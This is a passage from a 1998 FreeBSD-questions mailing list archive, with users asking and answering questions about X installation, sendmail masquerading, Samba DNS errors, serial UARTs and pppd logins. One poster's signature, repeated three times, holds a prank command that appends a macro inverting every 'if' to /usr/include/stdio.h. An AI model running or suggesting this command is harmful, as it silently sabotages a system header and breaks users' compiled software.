charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG ok, my first questions is... how do I install X windows? I didn't install it when I did the installation, but now I want it. so any advise there would help. second, is there anyway to get my mouse working at the console? this way I don't have to be in Xwindows to use my mouse... thanks... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 08:01:54 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA10204 for freebsd-questions-outgoing; Sat, 11 Apr 1998 08:01:54 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from minotaur.labyrinth.net.au (minotaur.labyrinth.net.au [203.9.148.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA10199 for ; Sat, 11 Apr 1998 08:01:50 -0700 (PDT) (envelope-from ashley@labyrinth.net.au) Received: (from uucp@localhost) by minotaur.labyrinth.net.au (8.8.6/8.8.6) id BAA28429 for questions@freebsd.org; Sun, 12 Apr 1998 01:01:48 +1000 (EST) Received: from minerva-as18.labyrinth.net.au(203.23.74.18), claiming to be "labyrinth.net.au" via SMTP by minotaur.labyrinth.net.au, id smtpdAAAa28425; Sun Apr 12 01:01:41 1998 Received: (from ashley@localhost) by labyrinth.net.au (8.8.8/8.8.8) id BAA00850 for questions@freebsd.org; Sun, 12 Apr 1998 01:01:40 +1000 (EST) (envelope-from ashley) From: ashley Message-Id: <199804111501.BAA00850@labyrinth.net.au> Subject: sendmail question To: questions@FreeBSD.ORG Date: Sun, 12 Apr 1998 01:01:39 +1000 (EST) X-Mailer: ELM [version 2.4ME+ PL38 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG hi! following FAQ109.html in the FreeBSD FAQ i have configued sendmail so that it will use my isp's hostname instead of my local box in the from: when sending email. i use this in an mc file to make the sendmail.cf VERSIONID(`insomnia.mc version 1.3') OSTYPE(bsd4.4)dnl FEATURE(nouucp)dnl MAILER(local)dnl MAILER(smtp)dnl Cwinsomnia.home.bsd Cwlabyrinth.net.au MASQUERADE_AS(`labyrinth.net.au')dnl FEATURE(allmasquerade)dnl FEATURE(masquerade_envelope)dnl FEATURE(nocanonify)dnl FEATURE(nodns)dnl define(SMART_HOST, `mail.labyrinth.net.au') Dmlabyrinth.net.au define(`confDOMAIN_NAME',`labyrinth.net.au')dnl however, there is a problem with this. my isp's domain is labyrinth.net.au. i can send email to people just fine. EXCEPT for people who are also subscribers to my isp. so if i send email to foo@labyrinth.net.au sendmail tried to deliver it to my local machine (i assume because of the masquerading), instead of to user foo on my isp. any help and advice is greatly appreciated. Ciao. Ashley. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 08:02:49 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA10645 for freebsd-questions-outgoing; Sat, 11 Apr 1998 08:02:49 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from cs1.cityscope.net (cs1.cityscope.net [206.222.183.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA10627 for ; Sat, 11 Apr 1998 08:02:45 -0700 (PDT) (envelope-from bahwi@technologist.com) Received: from cs1 (pm2-69.cityscope.net [209.16.48.69]) by cs1.cityscope.net (8.8.7/8.8.8) with SMTP id KAA10403 for ; Sat, 11 Apr 1998 10:06:10 -0500 (CDT) (envelope-from bahwi@technologist.com) Message-Id: <199804111506.KAA10403@cs1.cityscope.net> Comments: Authenticated sender is From: "bahwi@technologist.com" To: questions@FreeBSD.ORG Date: Sat, 11 Apr 1998 10:02:41 +0000 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Upgrading from 2.1.7 to 2.2.5 or 2.2.6 Reply-to: bahwi@technologist.com X-mailer: Pegasus Mail for Win32 (v2.54) Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I am working for a person who wishes to upgrade from 2.1.7 FreeBSD to 2.2.5, or, if 2.2.6 is -STABLE, then to that, if he will validate it, otherwise it is to 2.2.5. Are there any difficulties with upgrading to 2.2.5? I am going to cvsup the source and make world. Should I go to 2.2 then to 2.2.5 or what? This is 2.1.7 so I must be careful. Any help would be greatly appreciated, even a web address with more information. Many thanks. As I am not a member of this list, please mail directly to me a bahwi@technologist.com or one of my other addresses. -bahwi email- bahwi@technologist.com - bahwi@yahoo.com ICQ Name: bahwi UIN: 3328936 iChat Name: bahwi http://www.cityscope.net/~bahwi/home.html ^^ Security, Anti-Spam Procedures, UNIX, and more ^^ -EOF To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 08:25:17 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA13571 for freebsd-questions-outgoing; Sat, 11 Apr 1998 08:25:17 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from jason02.u.washington.edu (root@jason02.u.washington.edu [140.142.76.8]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA13556 for ; Sat, 11 Apr 1998 08:25:12 -0700 (PDT) (envelope-from jcwells@u.washington.edu) Received: from saul7.u.washington.edu (root@saul7.u.washington.edu [140.142.82.2]) by jason02.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id IAA37300; Sat, 11 Apr 1998 08:25:10 -0700 Received: from s8-37-26.student.washington.edu (S8-37-26.student.washington.edu [128.208.37.26]) by saul7.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with SMTP id IAA15758; Sat, 11 Apr 1998 08:25:10 -0700 (PDT) Date: Sat, 11 Apr 1998 07:23:58 -0700 (PDT) From: "Jason C. Wells" X-Sender: jason@s8-37-26.student.washington.edu Reply-To: "Jason C. Wells" To: Doug White cc: FreeBSD-questions Subject: Re: Removing apm0 causes hang at boot. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 11 Apr 1998, Doug White wrote: > On Fri, 10 Apr 1998, Jason C. Wells wrote: > > > A long time ago I had trouble with this kernel device. > > > > The removal of the apm0 device causes the boot to hang before the > > initial "Copyright (c) 1992-1997 FreeBSD Inc." mesg comes up. > > Odd. Can you boot the GENERIC kernel okay? Sounds like you took out sc0 > by mistake. I laughed out loud when I saw it. I was having trouble getting my system to boot after mucking around with many things in my kernel config. At one point I was using 'ed' for the first time. I must have got lost and commented the wrong line in there somewhere. Thanks for the answer. Have fun, | Stop warning me about the latest virus. Learn more... Jason Wells | http://ciac.llnl.gov/ciac/CIACHoaxes.html To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 08:41:44 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA16408 for freebsd-questions-outgoing; Sat, 11 Apr 1998 08:41:44 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from iclub.nsu.ru (iclub.nsu.ru [193.124.222.66]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA16168 for ; Sat, 11 Apr 1998 08:40:29 -0700 (PDT) (envelope-from fjoe@iclub.nsu.ru) Received: from localhost (fjoe@localhost) by iclub.nsu.ru (8.8.8/8.8.5) with SMTP id WAA23359 for ; Sat, 11 Apr 1998 22:42:30 +0700 (NSS) Date: Sat, 11 Apr 1998 22:42:30 +0700 (NSS) From: Max Khon To: freebsd-questions@FreeBSD.ORG Subject: more than 32 /dev/ttyp? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG hi, there! how to make/use more than 32 /dev/ttyp? ? please reply directly as i am not subscribed to this mailinglist /fjoe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 08:48:30 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA18042 for freebsd-questions-outgoing; Sat, 11 Apr 1998 08:48:30 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from second.dialup.access.net (lsmarso.dialup.access.net [166.84.254.60]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA18031 for ; Sat, 11 Apr 1998 08:48:26 -0700 (PDT) (envelope-from larry@marso.com) Received: (from larry@localhost) by second.dialup.access.net (8.8.8/8.8.8) id LAA02581; Sat, 11 Apr 1998 11:47:33 -0400 (EDT) (envelope-from larry) Message-ID: <19980411114730.64301@marso.com> Date: Sat, 11 Apr 1998 11:47:30 -0400 From: "Larry S. Marso" To: Jeremy Tillis , freebsd-questions@FreeBSD.ORG Subject: Re: 16650 UART Mail-Followup-To: Jeremy Tillis , freebsd-questions@freebsd.org References: <352E4F34.8F2D3C74@dbtech.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i In-Reply-To: <352E4F34.8F2D3C74@dbtech.net>; from Jeremy Tillis on Fri, Apr 10, 1998 at 11:56:20AM -0500 x-no-archive: yes Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG 3.0-current contains operational support for the 16650 UART chip. You simply set flags 0x20000 on the ordinary sio driver. I use it to drive a high speed serial port, to which I've connected an Adtran Express XRT ISDN TA. Works great. Best regards -- Larry S. Marso larry@marso.com On Fri, Apr 10, 1998 at 11:56:20AM -0500, Jeremy Tillis wrote: > I am very new to FreeBSD. I want to use an external ISDN terminal adapter, > so I purchased a Byte Runner 16650 UART serial card, after seeing users having > success using it in the mailing list archives. > > However, when I boot the box, it detects the serial port as a 16550A port, > not a newer 16650 port. > > How do I add support for the 16650 UART? I'm running FreeBSD 2.2.5 RELEASE. > > Any help would be greatly appreciated. > > ------------------------ > Jeremy Tillis > jeremyt1@dbtech.net > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 09:31:40 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA24542 for freebsd-questions-outgoing; Sat, 11 Apr 1998 09:31:40 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mailgw01.execpc.com (mailgw01.execpc.com [169.207.16.9]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA24516 for ; Sat, 11 Apr 1998 09:31:36 -0700 (PDT) (envelope-from fpawlak@execpc.com) Received: from darkstar.connect.com (kosnax-21.mdm.mke.execpc.com [169.207.64.25]) by mailgw01.execpc.com (8.8.8) id QAA24935; Sat, 11 Apr 1998 16:31:34 GMT Received: from darkstar.connect.com (localhost [127.0.0.1]) by darkstar.connect.com (8.8.8/8.8.8) with ESMTP id LAA20781; Sat, 11 Apr 1998 11:31:27 -0500 (CDT) Message-Id: <199804111631.LAA20781@darkstar.connect.com> Date: Sat, 11 Apr 1998 11:31:25 -0500 (CDT) From: Frank Pawlak Subject: Re: 2 questions... To: zamy27@hsonline.net cc: freebsd-questions@FreeBSD.ORG In-Reply-To: <352F1202.31BFF2F6@hsonline.net> MIME-Version: 1.0 Content-Type: TEXT/plain; CHARSET=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 11 Apr, Scott Myron wrote: > ok, my first questions is... how do I install X windows? I didn't > install it when I did the installation, but now I want it. so any advise > there would help. second, is there anyway to get my mouse working at the > console? this way I don't have to be in Xwindows to use my mouse... > thanks... > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message If you can get on the web grab the XFree port from the the FreeBSD web page on do the install. Can't answer your second question. Frank -- ----------------------------- "At no time is freedom of speech more precious then when a man hits his thumb with a hammer." -- Marshall Lumsden To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 09:35:49 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA25085 for freebsd-questions-outgoing; Sat, 11 Apr 1998 09:35:49 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mailgw02.execpc.com (mailgw02.execpc.com [169.207.16.10]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA25069 for ; Sat, 11 Apr 1998 09:35:45 -0700 (PDT) (envelope-from fpawlak@execpc.com) Received: from darkstar.connect.com (kosnax-21.mdm.mke.execpc.com [169.207.64.25]) by mailgw02.execpc.com (8.8.8) id LAA25132; Sat, 11 Apr 1998 11:35:38 -0500 (CDT) Received: from darkstar.connect.com (localhost [127.0.0.1]) by darkstar.connect.com (8.8.8/8.8.8) with ESMTP id LAA20789; Sat, 11 Apr 1998 11:35:30 -0500 (CDT) Message-Id: <199804111635.LAA20789@darkstar.connect.com> Date: Sat, 11 Apr 1998 11:35:28 -0500 (CDT) From: Frank Pawlak Subject: Re: sendmail question To: ashley@labyrinth.net.au cc: questions@FreeBSD.ORG In-Reply-To: <199804111501.BAA00850@labyrinth.net.au> MIME-Version: 1.0 Content-Type: TEXT/plain; CHARSET=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 12 Apr, ashley wrote: > hi! following FAQ109.html in the FreeBSD FAQ i have configued sendmail so that > it will use my isp's hostname instead of my local box in the from: when > sending email. > > i use this in an mc file to make the sendmail.cf > > VERSIONID(`insomnia.mc version 1.3') > OSTYPE(bsd4.4)dnl > FEATURE(nouucp)dnl > MAILER(local)dnl > MAILER(smtp)dnl > Cwinsomnia.home.bsd > Cwlabyrinth.net.au > MASQUERADE_AS(`labyrinth.net.au')dnl > FEATURE(allmasquerade)dnl > FEATURE(masquerade_envelope)dnl > FEATURE(nocanonify)dnl > FEATURE(nodns)dnl > define(SMART_HOST, `mail.labyrinth.net.au') > Dmlabyrinth.net.au > define(`confDOMAIN_NAME',`labyrinth.net.au')dnl > > however, there is a problem with this. my isp's domain is labyrinth.net.au. i > can send email to people just fine. EXCEPT for people who are also subscribers > to my isp. so if i send email to foo@labyrinth.net.au sendmail tried to > deliver it to my local machine (i assume because of the masquerading), instead > of to user foo on my isp. > > any help and advice is greatly appreciated. > > Ciao. > Ashley. > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message I maybe mistaken here as I am not a sendmail expert, but it appears that you don't have your local mailer defined. Frank -- ----------------------------- "At no time is freedom of speech more precious then when a man hits his thumb with a hammer." -- Marshall Lumsden To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 09:58:07 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA28676 for freebsd-questions-outgoing; Sat, 11 Apr 1998 09:58:07 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from indigo.ie (nsmart@ts01-18.waterford.indigo.ie [194.125.139.81]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA28655 for ; Sat, 11 Apr 1998 09:58:01 -0700 (PDT) (envelope-from rotel@indigo.ie) Received: (from nsmart@localhost) by indigo.ie (8.8.8/8.8.7) id RAA04292; Sat, 11 Apr 1998 17:57:15 +0100 (IST) (envelope-from rotel@indigo.ie) From: Niall Smart Message-Id: <199804111657.RAA04292@indigo.ie> Date: Sat, 11 Apr 1998 17:57:15 +0000 In-Reply-To: Capriotti "Samba issue again" (Apr 11, 11:10pm) Reply-To: rotel@indigo.ie X-Mailer: Mail User's Shell (7.2.6 beta(3) 11/17/96) To: Capriotti , freebsd-questions@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: Re: Samba issue again Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Apr 11, 11:10pm, Capriotti wrote: } Subject: Samba issue again > Samba issue strikes again. > > This is my hosts file : > 127.0.0.1 localhost brain.mpc.com.br > This is nmbd's log: > > 04/11/98 12:21:05 netbios nameserver version 1.9.17p2 started > Copyright Andrew Tridgell 1994-1997 > Get_Hostbyname: Unknown host. brain Either A) your DNS system should know about brain.mpc.com.br, it currently doesn't. or B) Change 127.0.0.1 localhost brain.mpc.com.br to 127.0.0.1 localhost brain.mpc.com.br brain Regards, Niall -- Niall Smart. Microsoft Suck. See www.freebsd.org for details. Annoy your enemies and amaze your friends: echo "#define if(x) if(!(x))" >> /usr/include/stdio.h To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 09:58:31 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA28959 for freebsd-questions-outgoing; Sat, 11 Apr 1998 09:58:31 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from chippie.cgu.nl (chippie.cgu.nl [145.101.220.7]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA28889 for ; Sat, 11 Apr 1998 09:58:25 -0700 (PDT) (envelope-from psd@cgu.nl) Received: from localhost (psd@localhost) by chippie.cgu.nl (8.8.7/8.8.7/psd) with SMTP id TAA28877 for ; Sat, 11 Apr 1998 19:00:51 +0200 (CEST) Date: Sat, 11 Apr 1998 19:00:51 +0200 (CEST) From: Paul Dekkers X-Sender: psd@chippie.cgu To: freebsd-questions@FreeBSD.ORG Subject: password change via the web?! Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi I know I already asked this once here, but there wasn't an answer: does anyone have a cgi-script to change one's password under FreeBSD (and/or Linux?) Paul -- Paul Dekkers E-Mail: To err is human, to moo bovine To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 10:01:00 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA00106 for freebsd-questions-outgoing; Sat, 11 Apr 1998 10:01:00 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from indigo.ie (nsmart@ts01-18.waterford.indigo.ie [194.125.139.81]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA29947 for ; Sat, 11 Apr 1998 10:00:51 -0700 (PDT) (envelope-from rotel@indigo.ie) Received: (from nsmart@localhost) by indigo.ie (8.8.8/8.8.7) id SAA04335; Sat, 11 Apr 1998 18:01:21 +0100 (IST) (envelope-from rotel@indigo.ie) From: Niall Smart Message-Id: <199804111701.SAA04335@indigo.ie> Date: Sat, 11 Apr 1998 18:01:20 +0000 In-Reply-To: Scott Myron "2 questions..." (Apr 11, 9:47am) Reply-To: rotel@indigo.ie X-Mailer: Mail User's Shell (7.2.6 beta(3) 11/17/96) To: Scott Myron , "freebsd-questions@FreeBSD.org" , freebsd-questions@FreeBSD.ORG Subject: Re: 2 questions... Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Apr 11, 9:47am, Scott Myron wrote: } Subject: 2 questions... > ok, my first questions is... how do I install X windows? I didn't > install it when I did the installation, but now I want it. so any advise > there would help. second, is there anyway to get my mouse working at the > console? this way I don't have to be in Xwindows to use my mouse... > thanks... Installing X: Check out XF86331 in whatever directory all your FreeBSD stuff is (i.e. on the CDROM or ftp site), read README.TXT, RELNOTES.TXT et al. Hint: show some initative Mouse in console: edit /etc/rc.conf and enable moused, line 113 on mine. Hint: man -k mouse Niall -- Niall Smart. Microsoft Suck. See www.freebsd.org for details. Annoy your enemies and amaze your friends: echo "#define if(x) if(!(x))" >> /usr/include/stdio.h To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 10:05:23 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA01446 for freebsd-questions-outgoing; Sat, 11 Apr 1998 10:05:23 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from indigo.ie (nsmart@ts01-18.waterford.indigo.ie [194.125.139.81]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA01315 for ; Sat, 11 Apr 1998 10:05:13 -0700 (PDT) (envelope-from rotel@indigo.ie) Received: (from nsmart@localhost) by indigo.ie (8.8.8/8.8.7) id SAA04390; Sat, 11 Apr 1998 18:05:38 +0100 (IST) (envelope-from rotel@indigo.ie) From: Niall Smart Message-Id: <199804111705.SAA04390@indigo.ie> Date: Sat, 11 Apr 1998 18:05:37 +0000 In-Reply-To: Capriotti "Samba and DNS problem ?" (Apr 11, 11:23pm) Reply-To: rotel@indigo.ie X-Mailer: Mail User's Shell (7.2.6 beta(3) 11/17/96) To: Capriotti , freebsd-questions@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: Re: Samba and DNS problem ? Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Apr 11, 11:23pm, Capriotti wrote: } Subject: Samba and DNS problem ? > I dont know if it really matters, but take a look at this : > > bash-2.01$ ftp ftp://ftp.freebsd.org > ftp: ftp://ftp.freebsd.org: Unknown host > ftp> open ftp.unicamp.br > ftp: ftp.unicamp.br: Unknown host > ftp> The command "ftp ftp://ftp.freebsd.org" is incorrect, ftp doesn't understand URL's, the correct command would be "ftp ftp.freebsd.org" In any case, your DNS isn't working as evidenced by line 3 and the other examples you gave. Was it ever working? Have you got a properly configured /etc/resolv.conf as described in resolver(5)? (that means you should type man 5 resolver, otherwise you will get resolver(3) which is not relevant to you) Here's an example resolv.conf, don't copy it blindly: domain indigo.ie nameserver 194.125.133.10 nameserver 194.125.133.11 search doc.ic.ac.uk ic.ac.uk Regards, Niall -- Niall Smart. Microsoft Suck. See www.freebsd.org for details. Annoy your enemies and amaze your friends: echo "#define if(x) if(!(x))" >> /usr/include/stdio.h To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 10:32:26 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA06369 for freebsd-questions-outgoing; Sat, 11 Apr 1998 10:32:26 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gilberto.physik.RWTH-Aachen.DE (gilberto.physik.rwth-aachen.de [137.226.30.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA06287 for ; Sat, 11 Apr 1998 10:32:14 -0700 (PDT) (envelope-from kuku@gilberto.physik.RWTH-Aachen.DE) Received: (from kuku@localhost) by gilberto.physik.RWTH-Aachen.DE (8.8.7/8.8.7) id TAA26340 for freebsd-questions@freefall.cdrom.com; Sat, 11 Apr 1998 19:36:47 +0200 (MEST) (envelope-from kuku) Date: Sat, 11 Apr 1998 19:36:47 +0200 (MEST) From: Christoph Kukulies Message-Id: <199804111736.TAA26340@gilberto.physik.RWTH-Aachen.DE> To: freebsd-questions@freefall.FreeBSD.org Subject: pppd (getty) problem Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I posted here in the past about some problem I had with ppp and dialing in from non Win95/non FreeBSD, that is, Linux systems. Linux ist using pppd on the peer side as well at least in the mode my students were using it (ppp-on script). My Win95 and FreeBSD users had no problems dialing in but Linux was a nogo for weeks now. Today I took a major effort to track that down and found out that the linux side as it was set up didn't get the FreeBSD server side into the ppp section of getty, that meant, the pppd state machine in getty didn't fire. I changed the respective logins such that they got ppplogin.sh immediately as their login shell and that seemed to work (rather than giving them a non-existent /pppok and letting getty do the execle'ing og /usr/local/bin/ppplogin.sh At least the ppp connection now seems to work, I'm still fiddling with the DNS and gateway information to be passed correctly. I wonder though what exactly the problem is or how I can make the linux side to send the ppp control characters immediately after login so that getty becomes aware of them. -- Chris Christoph P. U. Kukulies kuku@gil.physik.rwth-aachen.de To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 10:45:11 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA07848 for freebsd-questions-outgoing; Sat, 11 Apr 1998 10:45:11 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from undergrad.math.uwaterloo.ca (root@undergrad.math.uwaterloo.ca [129.97.204.13]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA07841 for ; Sat, 11 Apr 1998 10:45:05 -0700 (PDT) (envelope-from jsasimps@undergrad.math.uwaterloo.ca) Received: from Jason.ahrens (ahrens.worldchat.com [207.61.146.250]) by undergrad.math.uwaterloo.ca (8.8.8/8.8.8) with ESMTP id NAA27800 for ; Sat, 11 Apr 1998 13:44:40 -0400 (EDT) Message-ID: <352FAC46.5B28E74C@undergrad.math.uwaterloo.ca> Date: Sat, 11 Apr 1998 13:45:44 -0400 From: Jason Simpson X-Mailer: Mozilla 4.01 [en] (Win95; I) MIME-Version: 1.0 To: FAQ@FreeBSD.ORG Subject: Download FAQ X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Where can I download a copy of this faq site? Jason Simpson To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 10:48:51 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA08520 for freebsd-questions-outgoing; Sat, 11 Apr 1998 10:48:51 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from java.dpcsys.com (java.dpcsys.com [206.16.184.7]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA08513 for ; Sat, 11 Apr 1998 10:48:45 -0700 (PDT) (envelope-from dan@dpcsys.com) Received: from localhost (dan@localhost) by java.dpcsys.com (8.8.7/8.8.5) with SMTP id KAA17849; Sat, 11 Apr 1998 10:48:30 -0700 (PDT) Date: Sat, 11 Apr 1998 10:48:30 -0700 (PDT) From: Dan Busarow To: ashley cc: questions@FreeBSD.ORG Subject: Re: sendmail question In-Reply-To: <199804111501.BAA00850@labyrinth.net.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 12 Apr 1998, ashley wrote: > VERSIONID(`insomnia.mc version 1.3') > OSTYPE(bsd4.4)dnl > FEATURE(nouucp)dnl > MAILER(local)dnl > MAILER(smtp)dnl > Cwinsomnia.home.bsd > Cwlabyrinth.net.au ^^^^^^^^^^^^^^^ This line says you accept all mail for labyrinth > MASQUERADE_AS(`labyrinth.net.au')dnl > FEATURE(allmasquerade)dnl > FEATURE(masquerade_envelope)dnl > FEATURE(nocanonify)dnl > FEATURE(nodns)dnl > define(SMART_HOST, `mail.labyrinth.net.au') > Dmlabyrinth.net.au > define(`confDOMAIN_NAME',`labyrinth.net.au')dnl ^^^^^^^^^^^^^^^ These two lines say you *are* labyrinth Get rid of the second Cw line and change the last two to the domain you use locally. Dan -- Dan Busarow 714 443 4172 DPC Systems / Beach.Net dan@dpcsys.com Dana Point, California 83 09 EF 59 E0 11 89 B4 8D 09 DB FD E1 DD 0C 82 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 10:54:59 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA09277 for freebsd-questions-outgoing; Sat, 11 Apr 1998 10:54:59 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from user.xtdl.com (user.xtdl.com [206.25.228.20]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA09266 for ; Sat, 11 Apr 1998 10:54:48 -0700 (PDT) (envelope-from sderdau@xtdl.com) Received: from user.xtdl.com (user.xtdl.com [206.25.228.20]) by user.xtdl.com (8.8.8/8.6.9) with SMTP id NAA22494 for ; Sat, 11 Apr 1998 13:59:50 -0400 (EDT) Date: Sat, 11 Apr 1998 13:59:50 -0400 (EDT) From: "Stephen A. Derdau" To: questions@FreeBSD.ORG Subject: pnp(4) where it is? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG "FreeBSD It's That and Much Much More" Find out Why @ http://www.freebsd.org 04/11/98 I'm running 2.2.6-stable. I have my cd-rom sound running through the pcm0 device I'm trying to get audio files like .ra au etc to play through my speakers also as well as beable to use my microphone. However I can't seem to do so. I don't think I have the card 